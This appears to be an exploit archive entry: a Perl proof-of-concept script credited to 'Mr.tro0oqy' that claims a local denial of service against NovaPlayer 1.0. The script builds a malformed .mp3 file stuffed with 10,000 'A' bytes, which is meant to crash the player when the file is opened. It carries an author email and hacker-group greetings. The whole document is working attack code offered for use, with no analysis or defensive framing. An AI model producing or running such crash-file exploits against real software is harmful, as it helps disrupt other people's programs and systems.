#!/usr/bin/perl print qq ( ###################################################### #NovaPlayer 1.0 (.mp3) Local Denial of Service (DoS) # # by Mr.tro0oqy # ###################################################### ); #author: Mr.tro0oqy #email : t.4@windowslive.com #greetz : Red-D3v1L , virus_hima , Stack system ("color e"); my $bb="tro0oqy.mp3"; my $fk="\x41" x 10000; open (myfile,'>>tro0oqy.mp3'); print myfile $fk; print "great\n "